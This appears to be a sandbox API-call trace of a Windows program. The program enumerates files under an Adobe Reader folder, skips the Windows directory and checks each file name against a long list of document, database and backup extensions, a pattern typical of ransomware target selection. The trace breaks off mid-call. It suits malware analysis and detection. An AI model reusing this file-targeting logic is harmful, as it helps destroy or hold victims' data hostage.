ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x478, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="jquery.ui.touch-punch.js", cAlternateFileName="JQUERY~1.JS")) returned 0 [0270.533] FindClose (in: hFindFile=0x33155b0 | out: hFindFile=0x33155b0) returned 1 [0270.534] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0270.534] FindNextFileW (in: hFindFile=0x3315c70, lpFindFileData=0x2e8e420 | out: lpFindFileData=0x2e8e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0.2.2", cAlternateFileName="020A5B~1.2")) returned 0 [0270.534] FindClose (in: hFindFile=0x3315c70 | out: hFindFile=0x3315c70) returned 1 [0270.534] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0270.534] FindNextFileW (in: hFindFile=0x33158b0, lpFindFileData=0x2e8e69c | out: lpFindFileData=0x2e8e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="require", cAlternateFileName="")) returned 1 [0270.534] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\require") returned 99 [0270.534] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\require") returned 1 [0270.534] lstrlenW (lpString="require") returned 7 [0270.534] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="require") returned -1 [0270.534] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0270.534] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\require") returned 99 [0270.534] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\require\\*", lpFindFileData=0x2e8e420 | out: lpFindFileData=0x2e8e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315a30 [0270.534] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x2e8e420 | out: lpFindFileData=0x2e8e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0270.535] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x2e8e420 | out: lpFindFileData=0x2e8e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.1.15", cAlternateFileName="211994~1.15")) returned 1 [0270.535] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\require\\2.1.15") returned 106 [0270.535] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\require\\2.1.15") returned 1 [0270.535] lstrlenW (lpString="2.1.15") returned 6 [0270.535] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="2.1.15") returned 1 [0270.535] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4235db0 [0270.535] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\require\\2.1.15") returned 106 [0270.536] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\require\\2.1.15\\*", lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33155b0 [0270.536] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0270.536] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3adc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="require.min.js", cAlternateFileName="REQUIR~1.JS")) returned 1 [0270.536] lstrlenW (lpString="require.min.js") returned 14 [0270.536] lstrlenW (lpString=".1cd") returned 4 [0270.536] lstrcmpiW (lpString1=".1cd", lpString2="n.js") returned -1 [0270.536] lstrlenW (lpString=".3ds") returned 4 [0270.536] lstrcmpiW (lpString1=".3ds", lpString2="n.js") returned -1 [0270.536] lstrlenW (lpString=".3fr") returned 4 [0270.536] lstrcmpiW (lpString1=".3fr", lpString2="n.js") returned -1 [0270.536] lstrlenW (lpString=".3g2") returned 4 [0270.537] lstrcmpiW (lpString1=".3g2", lpString2="n.js") returned -1 [0270.537] lstrlenW (lpString=".3gp") returned 4 [0270.537] lstrcmpiW (lpString1=".3gp", lpString2="n.js") returned -1 [0270.537] lstrlenW (lpString=".7z") returned 3 [0270.537] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0270.537] lstrlenW (lpString=".accda") returned 6 [0270.537] lstrcmpiW (lpString1=".accda", lpString2="min.js") returned -1 [0270.537] lstrlenW (lpString=".accdb") returned 6 [0270.537] lstrcmpiW (lpString1=".accdb", lpString2="min.js") returned -1 [0270.537] lstrlenW (lpString=".accdc") returned 6 [0270.538] lstrcmpiW (lpString1=".accdc", lpString2="min.js") returned -1 [0270.538] lstrlenW (lpString=".accde") returned 6 [0270.538] lstrcmpiW (lpString1=".accde", lpString2="min.js") returned -1 [0270.538] lstrlenW (lpString=".accdt") returned 6 [0270.538] lstrcmpiW (lpString1=".accdt", lpString2="min.js") returned -1 [0270.538] lstrlenW (lpString=".accdw") returned 6 [0270.538] lstrcmpiW (lpString1=".accdw", lpString2="min.js") returned -1 [0270.538] lstrlenW (lpString=".adb") returned 4 [0270.538] lstrcmpiW (lpString1=".adb", lpString2="n.js") returned -1 [0270.538] lstrlenW (lpString=".adp") returned 4 [0270.538] lstrcmpiW (lpString1=".adp", lpString2="n.js") returned -1 [0270.538] lstrlenW (lpString=".ai") returned 3 [0270.538] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0270.538] lstrlenW (lpString=".ai3") returned 4 [0270.538] lstrcmpiW (lpString1=".ai3", lpString2="n.js") returned -1 [0270.538] lstrlenW (lpString=".ai4") returned 4 [0270.538] lstrcmpiW (lpString1=".ai4", lpString2="n.js") returned -1 [0270.538] lstrlenW (lpString=".ai5") returned 4 [0270.538] lstrcmpiW (lpString1=".ai5", lpString2="n.js") returned -1 [0270.538] lstrlenW (lpString=".ai6") returned 4 [0270.538] lstrcmpiW (lpString1=".ai6", lpString2="n.js") returned -1 [0270.538] lstrlenW (lpString=".ai7") returned 4 [0270.539] lstrcmpiW (lpString1=".ai7", lpString2="n.js") returned -1 [0270.539] lstrlenW (lpString=".ai8") returned 4 [0270.539] lstrcmpiW (lpString1=".ai8", lpString2="n.js") returned -1 [0270.539] lstrlenW (lpString=".anim") returned 5 [0270.539] lstrcmpiW (lpString1=".anim", lpString2="in.js") returned -1 [0270.539] lstrlenW (lpString=".arw") returned 4 [0270.539] lstrcmpiW (lpString1=".arw", lpString2="n.js") returned -1 [0270.539] lstrlenW (lpString=".as") returned 3 [0270.539] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0270.539] lstrlenW (lpString=".asa") returned 4 [0270.539] lstrcmpiW (lpString1=".asa", lpString2="n.js") returned -1 [0270.539] lstrlenW (lpString=".asc") returned 4 [0270.539] lstrcmpiW (lpString1=".asc", lpString2="n.js") returned -1 [0270.539] lstrlenW (lpString=".ascx") returned 5 [0270.539] lstrcmpiW (lpString1=".ascx", lpString2="in.js") returned -1 [0270.539] lstrlenW (lpString=".asm") returned 4 [0270.539] lstrcmpiW (lpString1=".asm", lpString2="n.js") returned -1 [0270.540] lstrlenW (lpString=".asmx") returned 5 [0270.540] lstrcmpiW (lpString1=".asmx", lpString2="in.js") returned -1 [0270.540] lstrlenW (lpString=".asp") returned 4 [0270.540] lstrcmpiW (lpString1=".asp", lpString2="n.js") returned -1 [0270.540] lstrlenW (lpString=".aspx") returned 5 [0270.540] lstrcmpiW (lpString1=".aspx", lpString2="in.js") returned -1 [0270.540] lstrlenW (lpString=".asr") returned 4 [0270.540] lstrcmpiW (lpString1=".asr", lpString2="n.js") returned -1 [0270.540] lstrlenW (lpString=".asx") returned 4 [0270.540] lstrcmpiW (lpString1=".asx", lpString2="n.js") returned -1 [0270.540] lstrlenW (lpString=".avi") returned 4 [0270.540] lstrcmpiW (lpString1=".avi", lpString2="n.js") returned -1 [0270.540] lstrlenW (lpString=".avs") returned 4 [0270.540] lstrcmpiW (lpString1=".avs", lpString2="n.js") returned -1 [0270.540] lstrlenW (lpString=".backup") returned 7 [0270.540] lstrcmpiW (lpString1=".backup", lpString2=".min.js") returned -1 [0270.540] lstrlenW (lpString=".bak") returned 4 [0270.540] lstrcmpiW (lpString1=".bak", lpString2="n.js") returned -1 [0270.540] lstrlenW (lpString=".bay") returned 4 [0270.541] lstrcmpiW (lpString1=".bay", lpString2="n.js") returned -1 [0270.541] lstrlenW (lpString=".bd") returned 3 [0270.541] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0270.541] lstrlenW (lpString=".bin") returned 4 [0270.541] lstrcmpiW (lpString1=".bin", lpString2="n.js") returned -1 [0270.541] lstrlenW (lpString=".bmp") returned 4 [0270.541] lstrcmpiW (lpString1=".bmp", lpString2="n.js") returned -1 [0270.541] lstrlenW (lpString=".bz2") returned 4 [0270.541] lstrcmpiW (lpString1=".bz2", lpString2="n.js") returned -1 [0270.541] lstrlenW (lpString=".c") returned 2 [0270.541] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0270.541] lstrlenW (lpString=".cdr") returned 4 [0270.541] lstrcmpiW (lpString1=".cdr", lpString2="n.js") returned -1 [0270.541] lstrlenW (lpString=".cer") returned 4 [0270.541] lstrcmpiW (lpString1=".cer", lpString2="n.js") returned -1 [0270.541] lstrlenW (lpString=".cf") returned 3 [0270.541] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0270.541] lstrlenW (lpString=".cfc") returned 4 [0270.541] lstrcmpiW (lpString1=".cfc", lpString2="n.js") returned -1 [0270.541] lstrlenW (lpString=".cfm") returned 4 [0270.541] lstrcmpiW (lpString1=".cfm", lpString2="n.js") returned -1 [0270.541] lstrlenW (lpString=".cfml") returned 5 [0270.541] lstrcmpiW (lpString1=".cfml", lpString2="in.js") returned -1 [0270.541] lstrlenW (lpString=".cfu") returned 4 [0270.542] lstrcmpiW (lpString1=".cfu", lpString2="n.js") returned -1 [0270.542] lstrlenW (lpString=".chm") returned 4 [0270.542] lstrcmpiW (lpString1=".chm", lpString2="n.js") returned -1 [0270.542] lstrlenW (lpString=".cin") returned 4 [0270.542] lstrcmpiW (lpString1=".cin", lpString2="n.js") returned -1 [0270.542] lstrlenW (lpString=".class") returned 6 [0270.543] lstrcmpiW (lpString1=".class", lpString2="min.js") returned -1 [0270.543] lstrlenW (lpString=".clx") returned 4 [0270.543] lstrcmpiW (lpString1=".clx", lpString2="n.js") returned -1 [0270.543] lstrlenW (lpString=".config") returned 7 [0270.543] lstrcmpiW (lpString1=".config", lpString2=".min.js") returned -1 [0270.543] lstrlenW (lpString=".cpp") returned 4 [0270.543] lstrcmpiW (lpString1=".cpp", lpString2="n.js") returned -1 [0270.543] lstrlenW (lpString=".cr2") returned 4 [0270.543] lstrcmpiW (lpString1=".cr2", lpString2="n.js") returned -1 [0270.543] lstrlenW (lpString=".crt") returned 4 [0270.543] lstrcmpiW (lpString1=".crt", lpString2="n.js") returned -1 [0270.543] lstrlenW (lpString=".crw") returned 4 [0270.543] lstrcmpiW (lpString1=".crw", lpString2="n.js") returned -1 [0270.543] lstrlenW (lpString=".cs") returned 3 [0270.543] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0270.543] lstrlenW (lpString=".css") returned 4 [0270.543] lstrcmpiW (lpString1=".css", lpString2="n.js") returned -1 [0270.543] lstrlenW (lpString=".csv") returned 4 [0270.543] lstrcmpiW (lpString1=".csv", lpString2="n.js") returned -1 [0270.543] lstrlenW (lpString=".cub") returned 4 [0270.543] lstrcmpiW (lpString1=".cub", lpString2="n.js") returned -1 [0270.543] lstrlenW (lpString=".dae") returned 4 [0270.544] lstrcmpiW (lpString1=".dae", lpString2="n.js") returned -1 [0270.544] lstrlenW (lpString=".dat") returned 4 [0270.544] lstrcmpiW (lpString1=".dat", lpString2="n.js") returned -1 [0270.544] lstrlenW (lpString=".db") returned 3 [0270.544] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0270.544] lstrlenW (lpString=".dbf") returned 4 [0270.544] lstrcmpiW (lpString1=".dbf", lpString2="n.js") returned -1 [0270.544] lstrlenW (lpString=".dbx") returned 4 [0270.544] lstrcmpiW (lpString1=".dbx", lpString2="n.js") returned -1 [0270.544] lstrlenW (lpString=".dc3") returned 4 [0270.544] lstrcmpiW (lpString1=".dc3", lpString2="n.js") returned -1 [0270.544] lstrlenW (lpString=".dcm") returned 4 [0270.544] lstrcmpiW (lpString1=".dcm", lpString2="n.js") returned -1 [0270.544] lstrlenW (lpString=".dcr") returned 4 [0270.544] lstrcmpiW (lpString1=".dcr", lpString2="n.js") returned -1 [0270.544] lstrlenW (lpString=".der") returned 4 [0270.544] lstrcmpiW (lpString1=".der", lpString2="n.js") returned -1 [0270.544] lstrlenW (lpString=".dib") returned 4 [0270.544] lstrcmpiW (lpString1=".dib", lpString2="n.js") returned -1 [0270.544] lstrlenW (lpString=".dic") returned 4 [0270.544] lstrcmpiW (lpString1=".dic", lpString2="n.js") returned -1 [0270.544] lstrlenW (lpString=".dif") returned 4 [0270.545] lstrcmpiW (lpString1=".dif", lpString2="n.js") returned -1 [0270.545] lstrlenW (lpString=".divx") returned 5 [0270.545] lstrcmpiW (lpString1=".divx", lpString2="in.js") returned -1 [0270.545] lstrlenW (lpString=".djvu") returned 5 [0270.545] lstrcmpiW (lpString1=".djvu", lpString2="in.js") returned -1 [0270.545] lstrlenW (lpString=".dng") returned 4 [0270.545] lstrcmpiW (lpString1=".dng", lpString2="n.js") returned -1 [0270.546] lstrlenW (lpString=".doc") returned 4 [0270.546] lstrcmpiW (lpString1=".doc", lpString2="n.js") returned -1 [0270.546] lstrlenW (lpString=".docm") returned 5 [0270.546] lstrcmpiW (lpString1=".docm", lpString2="in.js") returned -1 [0270.546] lstrlenW (lpString=".docx") returned 5 [0270.546] lstrcmpiW (lpString1=".docx", lpString2="in.js") returned -1 [0270.546] lstrlenW (lpString=".dot") returned 4 [0270.546] lstrcmpiW (lpString1=".dot", lpString2="n.js") returned -1 [0270.546] lstrlenW (lpString=".dotm") returned 5 [0270.546] lstrcmpiW (lpString1=".dotm", lpString2="in.js") returned -1 [0270.546] lstrlenW (lpString=".dotx") returned 5 [0270.546] lstrcmpiW (lpString1=".dotx", lpString2="in.js") returned -1 [0270.546] lstrlenW (lpString=".dpx") returned 4 [0270.546] lstrcmpiW (lpString1=".dpx", lpString2="n.js") returned -1 [0270.546] lstrlenW (lpString=".dqy") returned 4 [0270.546] lstrcmpiW (lpString1=".dqy", lpString2="n.js") returned -1 [0270.546] lstrlenW (lpString=".dsn") returned 4 [0270.546] lstrcmpiW (lpString1=".dsn", lpString2="n.js") returned -1 [0270.731] lstrlenW (lpString=".dt") returned 3 [0270.731] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0270.731] lstrlenW (lpString=".dtd") returned 4 [0270.731] lstrcmpiW (lpString1=".dtd", lpString2="n.js") returned -1 [0270.731] lstrlenW (lpString=".dwg") returned 4 [0270.731] lstrcmpiW (lpString1=".dwg", lpString2="n.js") returned -1 [0270.731] lstrlenW (lpString=".dwt") returned 4 [0270.731] lstrcmpiW (lpString1=".dwt", lpString2="n.js") returned -1 [0270.732] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3adc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="require.min.js", cAlternateFileName="REQUIR~1.JS")) returned 0 [0270.732] FindClose (in: hFindFile=0x33155b0 | out: hFindFile=0x33155b0) returned 1 [0270.732] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0270.732] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x2e8e420 | out: lpFindFileData=0x2e8e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.1.15", cAlternateFileName="211994~1.15")) returned 0 [0270.732] FindClose (in: hFindFile=0x3315a30 | out: hFindFile=0x3315a30) returned 1 [0270.732] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0270.732] FindNextFileW (in: hFindFile=0x33158b0, lpFindFileData=0x2e8e69c | out: lpFindFileData=0x2e8e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="require", cAlternateFileName="")) returned 0 [0270.732] FindClose (in: hFindFile=0x33158b0 | out: hFindFile=0x33158b0) returned 1 [0270.732] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42c0fd8 | out: hHeap=0x670000) returned 1 [0270.732] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="misc", cAlternateFileName="")) returned 1 [0270.733] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42c0fd8 [0270.733] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\misc") returned 91 [0270.733] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\misc\\*", lpFindFileData=0x2e8e69c | out: lpFindFileData=0x2e8e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315a70 [0270.733] FindNextFileW (in: hFindFile=0x3315a70, lpFindFileData=0x2e8e69c | out: lpFindFileData=0x2e8e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0270.733] FindNextFileW (in: hFindFile=0x3315a70, lpFindFileData=0x2e8e69c | out: lpFindFileData=0x2e8e69c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="load-typekit.js", cAlternateFileName="LOAD-T~1.JS")) returned 1 [0270.734] lstrlenW (lpString="load-typekit.js") returned 15 [0270.734] lstrlenW (lpString=".1cd") returned 4 [0270.734] lstrcmpiW (lpString1=".1cd", lpString2="t.js") returned -1 [0270.734] lstrlenW (lpString=".3ds") returned 4 [0270.734] lstrcmpiW (lpString1=".3ds", lpString2="t.js") returned -1 [0270.734] lstrlenW (lpString=".3fr") returned 4 [0270.734] lstrcmpiW (lpString1=".3fr", lpString2="t.js") returned -1 [0270.734] lstrlenW (lpString=".3g2") returned 4 [0270.734] lstrcmpiW (lpString1=".3g2", lpString2="t.js") returned -1 [0270.734] lstrlenW (lpString=".3gp") returned 4 [0270.734] lstrcmpiW (lpString1=".3gp", lpString2="t.js") returned -1 [0270.734] lstrlenW (lpString=".7z") returned 3 [0270.734] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0270.734] lstrlenW (lpString=".accda") returned 6 [0270.734] lstrcmpiW (lpString1=".accda", lpString2="kit.js") returned -1 [0270.734] lstrlenW (lpString=".accdb") returned 6 [0270.734] lstrcmpiW (lpString1=".accdb", lpString2="kit.js") returned -1 [0270.734] lstrlenW (lpString=".accdc") returned 6 [0270.734] lstrcmpiW (lpString1=".accdc", lpString2="kit.js") returned -1 [0270.734] lstrlenW (lpString=".accde") returned 6 [0270.734] lstrcmpiW (lpString1=".accde", lpString2="kit.js") returned -1 [0270.734] lstrlenW (lpString=".accdt") returned 6 [0270.735] lstrcmpiW (lpString1=".accdt", lpString2="kit.js") returned -1 [0270.735] lstrlenW (lpString=".accdw") returned 6 [0270.735] lstrcmpiW (lpString1=".accdw", lpString2="kit.js") returned -1 [0270.735] lstrlenW (lpString=".adb") returned 4 [0270.735] lstrcmpiW (lpString1=".adb", lpString2="t.js") returned -1 [0270.735] lstrlenW (lpString=".adp") returned 4 [0270.735] lstrcmpiW (lpString1=".adp", lpString2="t.js") returned -1 [0270.735] lstrlenW (lpString=".ai") returned 3 [0270.735] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0270.735] lstrlenW (lpString=".ai3") returned 4 [0270.735] lstrcmpiW (lpString1=".ai3", lpString2="t.js") returned -1 [0270.735] lstrlenW (lpString=".ai4") returned 4 [0270.736] lstrcmpiW (lpString1=".ai4", lpString2="t.js") returned -1 [0270.736] lstrlenW (lpString=".ai5") returned 4 [0270.736] lstrcmpiW (lpString1=".ai5", lpString2="t.js") returned -1 [0270.736] lstrlenW (lpString=".ai6") returned 4 [0270.736] lstrcmpiW (lpString1=".ai6", lpString2="t.js") returned -1 [0270.736] lstrlenW (lpString=".ai7") returned 4 [0270.736] lstrcmpiW (lpString1=".ai7", lpString2="t.js") returned -1 [0270.736] lstrlenW (lpString=".ai8") returned 4 [0270.736] lstrcmpiW (lpString1=".ai8", lpString2="t.js") returned -1 [0270.736] lstrlenW (lpString=".anim") returned 5 [0270.736] lstrcmpiW (lpString1=".anim", lpString2="it.js") returned -1 [0270.736] lstrlenW (lpString=".arw") returned 4 [0270.736] lstrcmpiW (lpString1=".arw", lpString2="t.js") returned -1 [0270.736] lstrlenW (lpString=".as") returned 3 [0270.736] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0270.736] lstrlenW (lpString=".asa") returned 4 [0270.737] lstrcmpiW (lpString1=".asa", lpString2="t.js") returned -1 [0270.737] lstrlenW (lpString=".asc") returned 4 [0270.737] lstrcmpiW (lpString1=".asc", lpString2="t.js") returned -1 [0270.737] lstrlenW (lpString=".ascx") returned 5 [0270.737] lstrcmpiW (lpString1=".ascx", lpString2="it.js") returned -1 [0270.737] lstrlenW (lpString=".asm") returned 4 [0270.737] lstrcmpiW (lpString1=".asm", lpString2="t.js") returned -1 [0270.737] lstrlenW (lpString=".asmx") returned 5 [0270.737] lstrcmpiW (lpString1=".asmx", lpString2="it.js") returned -1 [0270.737] lstrlenW (lpString=".asp") returned 4 [0270.737] lstrcmpiW (lpString1=".asp", lpString2="t.js") returned -1 [0270.737] lstrlenW (lpString=".aspx") returned 5 [0270.737] lstrcmpiW (lpString1=".aspx", lpString2="it.js") returned -1 [0270.737] lstrlenW (lpString=".asr") returned 4 [0270.737] lstrcmpiW (lpString1=".asr", lpString2="t.js") returned -1 [0270.737] lstrlenW (lpString=".asx") returned 4 [0270.737] lstrcmpiW (lpString1=".asx", lpString2="t.js") returned -1 [0270.738] lstrlenW (lpString=".avi") returned 4 [0270.738] lstrcmpiW (lpString1=".avi", lpString2="t.js") returned -1 [0270.738] lstrlenW (lpString=".avs") returned 4 [0270.738] lstrcmpiW (lpString1=".avs", lpString2="t.js") returned -1 [0270.738] lstrlenW (lpString=".backup") returned 7 [0270.738] lstrcmpiW 